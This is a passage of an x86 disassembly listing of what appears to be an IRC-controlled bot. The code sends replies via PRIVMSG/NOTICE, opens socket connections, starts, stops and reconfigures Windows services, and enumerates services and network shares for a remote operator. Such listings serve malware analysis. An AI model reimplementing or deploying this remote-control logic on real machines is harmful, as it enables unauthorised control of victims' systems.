; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax

loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax

loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43F6A8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------

loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43F6B8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------

loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43F700
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		nop
		call	near ptr 25D0CB3h

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4

loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_444138
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------

loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------

loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_444138
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43F65C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		call	near ptr 2610941h
		nop
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------

loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43F550
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		call	near ptr 2610941h
		nop
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------

loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43F5B8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43F558
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43F5BC

loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 2610941h
		mov	ebx, eax

loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43F56C

loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43F56C
		pop	esi

loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump

loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_443A78
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------

loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_443A78
		call	sub_4172B0
		add	esp, 0Ch

loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_443A78
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43F65C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43F628
		test	eax, eax
		jnz	short loc_40DA25
		nop
		call	near ptr 2610941h
		cmp	eax, 0EAh
		jnz	loc_40DAD9

loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]

loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"

loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36

loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB

loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43F56C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------

loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax

loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch

loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30

loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443D34
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F88+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_443F34, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_443F34, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_443CD4, eax

loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_443CD4
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_443CD4
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AC+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43F568
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F88+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43F540
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43F5B4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------

loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43F55C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"

loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi

loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43F6F8

loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

